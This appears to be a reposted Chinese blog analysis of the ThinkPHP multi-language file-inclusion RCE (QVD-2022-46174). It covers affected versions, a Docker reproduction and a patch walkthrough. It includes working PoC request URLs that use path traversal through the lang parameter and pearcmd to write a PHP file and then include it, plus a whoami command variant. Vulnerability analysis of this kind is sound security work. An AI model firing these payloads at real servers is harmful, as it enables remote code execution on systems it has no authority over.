ThinkPHP多语言文件包含RCE(QVD-2022-46174)

news2024/11/24 7:26:44

漏洞范围

  • v6.0.0<=ThinkPHP<=v6.0.13
  • v5.0.0<=ThinkPHP<=5.0.12
  • v5.1.0<=ThinkPHP<=5.1.8

需开启多语言选项,以thinkPHP6版本为例

  • 在自定义中间件定义文件app/middleware.php中添加\think\middleware\LoadLangPack::class

php需安装pearcmd拓展,并且开启了register_argc_argv选项

Docker PHP裸文件本地包含综述

在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

漏洞复现

环境

使用vulfocus/thinkphp:6.0.12镜像搭建docker环境

poc

#写文件
/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&<?=phpinfo()?>+/tmp/hello.php
#文件包含
/public/index.php?lang=../../../../../../../../tmp/hello

image-20230103230644399

image-20230103230701371

还有一种是/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=whoami并没有尝试成功,好像也是需要利用pearcmd写文件到extend目录还需要一个自定义拓展的样子总感觉怪怪的,参考:【漏洞报送】ThinkPHP开发框架存在命令执行漏洞
image-20230103224654030

原理

  • 多语言组件导致的文件包含+pear写文件

查看官方文档关于多语言的解释可见:会首先检查请求的URL或者Cookie中是否包含语言变量

image-20230103231130249

查看新版本补丁可见ThinkPHP5中新增合法性检查

image-20230104005807546

ThinkPHP6新版本补丁\think\middleware\LoadLangPack::detect`中增加了对url、Header、Cookie中设置语言的合法性检查

image-20230104001533774

下面代码分析以ThinkPHP6为例。

\think\middleware\LoadLangPack::handle方法会被自动加载(中间件的入口执行方法)

image-20230104004719040

在detect方法中设置语言之后进入\think\Lang::switchLangSet进行语言切换,路径直接拼接而成

image-20230104005155020

进入\think\Lang::load进行加载,如果文件存在则调用\think\Lang::parse解析

image-20230104005403494

image-20230104005520133

参考

https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099

https://www.kancloud.cn/manual/thinkphp6_0/1037637

thinkphp6_0/1037637](https://www.kancloud.cn/manual/thinkphp6_0/1037637)

https://www.kancloud.cn/manual/thinkphp6_0/1037493

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/154674.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

文档控件Aspose.words for.java 授权须知

支持的平台 Aspose.Words 可作为 .NET、Java、C 和 Python 的四种不同产品使用&#xff0c; .NET Framework.NET Standard 2.0Xamarin.AndroidXamarin.iOSXamarin.MacCOMMonoWindows Azure 系统要求 任何可以运行 Java Runtime Environment (JRE) 的操作系统都可以运行 Aspo…

02FPGA的巨大优势

在FPGA诞生的初期&#xff0c;计算机研究员是最先感受到FPGA的巨大优势的。 在此之前&#xff0c;要想实现一个新计算机体架构的设计想法&#xff0c;必须要开发一个ASIC作为原型&#xff0c;在面板上安装很多个体积庞大的IC。 但是&#xff0c;与这些需要投入巨大成本和精力…

I2C上拉电阻的选择-计算公式

I2C一般为开漏结构&#xff0c;需要在外部加上拉电阻&#xff0c;常见的阻值有1k、1.5k、2.2k、4.7k、5.1k、10k等。 但是应该如何根据开发要求选择合适的阻值呢&#xff1f; 假设SDA是低电平时&#xff0c;即MOS管导通。那么&#xff0c;就可以求出上拉电阻R的阻值。 上拉…

Lodop指定纸张类型不生效问题

根据官网指定纸张类型的样例 https://www.lodop.net/demolist/PrintSample5.html发现按以下代码各种打印机预览和打印效果均不同LODOPgetLodop();LODOP.PRINT_INIT("");LODOP.SET_PRINT_PAGESIZE(1,800,600,"");//设置纸张为80mm*60mmLODOP.ADD_PRINT_HTM(…

埋点成本治理实战(字节)

0、序言 随着业务的发展&#xff0c;业务上报的埋点数据会越来越多&#xff0c;杂乱的埋点数据不仅会消耗计算和存储成本&#xff0c;造成巨大的成本浪费&#xff0c;也无法有效的应用于业务&#xff0c;给业务带去数据价值&#xff0c;因此埋点数据的治理就很有必要。 一、治…

Redis缓存何以一枝独秀?(2) —— 聊聊Redis的数据过期、数据淘汰以及数据持久化的实现机制

大家好&#xff0c;又见面了。 本文是笔者作为掘金技术社区签约作者的身份输出的缓存专栏系列内容&#xff0c;将会通过系列专题&#xff0c;讲清楚缓存的方方面面。如果感兴趣&#xff0c;欢迎关注以获取后续更新。 上一篇文章中呢&#xff0c;我们简单的介绍了下Redis的整体情…

Spring Security 表单配置(二)

Spring Security 表单配置&#xff08;二&#xff09;架构认证过滤器认证成功认证失败架构 Spring Security的整体架构&#xff0c;官网文档有介绍&#xff1a;https://docs.spring.io/spring-security/reference/5.7/servlet/architecture.html 友情提示&#xff1a;可以使用…

极客时间学习笔记:03芯片分类

芯片与集成电路的区别&#xff1f; 芯片肯定不全是集成电路。芯片里面&#xff0c;大约只有 80% 属于集成电路&#xff0c;其余的都是光电器件、传感器和分立器件&#xff0c;行业内把这些器件称为 O-S-D&#xff08;Optoelectronic, Sensor, Discrete&#xff09;。 下面这张…

SpringBoot 2.7.7入门案例

SpringBoot技术 文章目录SpringBoot技术SpringBoot介绍SpringBoot入门总结SpringBoot介绍 SpringBoot是为了简化搭建Spring项目过程而和开发的框架&#xff0c;Spring本身也是简化开发的框架技术。 可以想想SpringMVC项目&#xff08;整合SSM&#xff09;的开发过程&#xff…

【国信长天蓝桥杯】CT117E-M4 嵌入式开发板准备篇 ①开发环境搭建,Keil及STM32CubeMX的下载安装

摘要 本文章基于国信长天 CT117E-M4 嵌入式开发板&#xff0c;讲解了竞赛开发环境的搭建&#xff0c;Keil及STM32CubeMX软件的安装方法&#xff0c;祝各位同学蓝桥杯电子比赛取得好成绩! 软件下载 在蓝桥杯的嵌入式比赛中&#xff0c;主要用到两个软件&#xff0c;分别是代…

易烊千玺小网站短信验证码(小行星编号)发送和验证的实现

每次进入小网站都能看到小小的变化&#xff0c;反观易程序员背后维护的艰辛哈哈哈哈哈哈从此就多了一个目标&#xff1a;one day做出和易烊千玺一样牛的小网站这里面多多的知识点都是我目前都没有学会的&#xff08;明明都实训了。。页面设计 各种小图标动态效果 网站域名申请 …

【人工智能】观看人工智能 (AI) 入门课程,一起来看看都讲了什么

作者&#xff1a;小5聊 简介&#xff1a;一只喜欢全栈方向的程序员&#xff0c;欢迎咨询&#xff0c;尽绵薄之力答疑解惑 公众号&#xff1a;有趣小馆&#xff0c;一个有趣的关键词回复互动功能 1、课程介绍 1&#xff09;讨论什么是 AI 及其重要性 2&#xff09;简要介绍机器学…

MEmu Android Emulator

MEmu Android Emulator是一款专门用于游戏的软件模拟器。你可以从很多方面享受使用MEmu类软件的乐趣&#xff0c;让某人可以直接在计算机上安装它们。您不需要配置复杂的设置&#xff0c;只需安装它们即可。 您可以通过单击右侧的APK按钮轻松安装Andrew游戏。你想安装的APK游戏…

OPPO软件商店APP侵权投诉流程

目录一、官方指引二、侵权投诉流程1.侵权受理流程图2.受理渠道3.权利人侵权投诉通知邮件一、官方指引 https://open.oppomobile.com/new/developmentDoc/info?id10826 二、侵权投诉流程 1.侵权受理流程图 2.受理渠道 侵权处理邮箱&#xff1a;iprheytap.com 侵权处理抄送邮…

一,Spring入门

1 Spring简介 Spring是一个轻量级的JavaEE应用框架&#xff0c;对比EJB&#xff08;Enterprise Java Beans)技术是官方制定的重量级的JavaEE解决方案。EJB的重的表现&#xff1a;编码必须实现EJB内置的组件、必须部署在支持EJB的服务器中才能运行测试。EJB有很强的侵入性&…

ansible作业五

1、jinjia2模板 hosts.j2&#xff0c;内容如下(主机名和ip地址使用变量)&#xff1a; Welcome to 主机名 &#xff01;&#xff08;比如servera.lab.example.com&#xff09; My ip is ip地址. 要求在所有受管主机生成文件&#xff1a;/etc/welcome.txt。 2、角色部分 根据下列…

【Java|golang】2283. 判断一个数的数字计数是否等于数位的值

给你一个下标从 0 开始长度为 n 的字符串 num &#xff0c;它只包含数字。 如果对于 每个 0 < i < n 的下标 i &#xff0c;都满足数位 i 在 num 中出现了 num[i]次&#xff0c;那么请你返回 true &#xff0c;否则返回 false 。 示例 1&#xff1a; 输入&#xff1a;…

EXCEL的几个取整函数对比,int() round() ceiling() ceiling.math()等

1目标 我们处理EXCEL数据经常要遇到以下的需求 取整取倍数按任意数取倍数2 简单取整函数 int() int()只能最简单取整&#xff0c;无任何参数3 round() 四舍五入取整函数 & 整数位取整美化 round() roundup() rounddown() roundup() 和 rounddown() 除了向上和向下取整…

【树莓派4B】搭建HomeAssistant服务端

前言 发挥树莓派的剩余价值&#xff0c;看到知乎有大神利用siri语音控制小米生态的智能家居&#xff0c;他就是利用HA实现的&#xff0c;HA打通不同品牌智能硬件的生态壁垒&#xff0c;而且还是开源&#xff0c;而我刚好手里有一块闲置的树莓派&#xff08;斜眼笑&#xff09;…

【Linux】Linux调试器——gdb的使用以及一些指令

gdb的使用1.背景2.使用3.相关指令1.背景 程序的发布方式有两种&#xff0c;debug模式和release模式 Linux gcc/g出来的二进制程序&#xff0c;默认是release模式 要使用gdb调试&#xff0c;必须在源代码生成二进制程序的时候, 加上 -g 选项 2.使用 使用前先确保自己的Linux上有…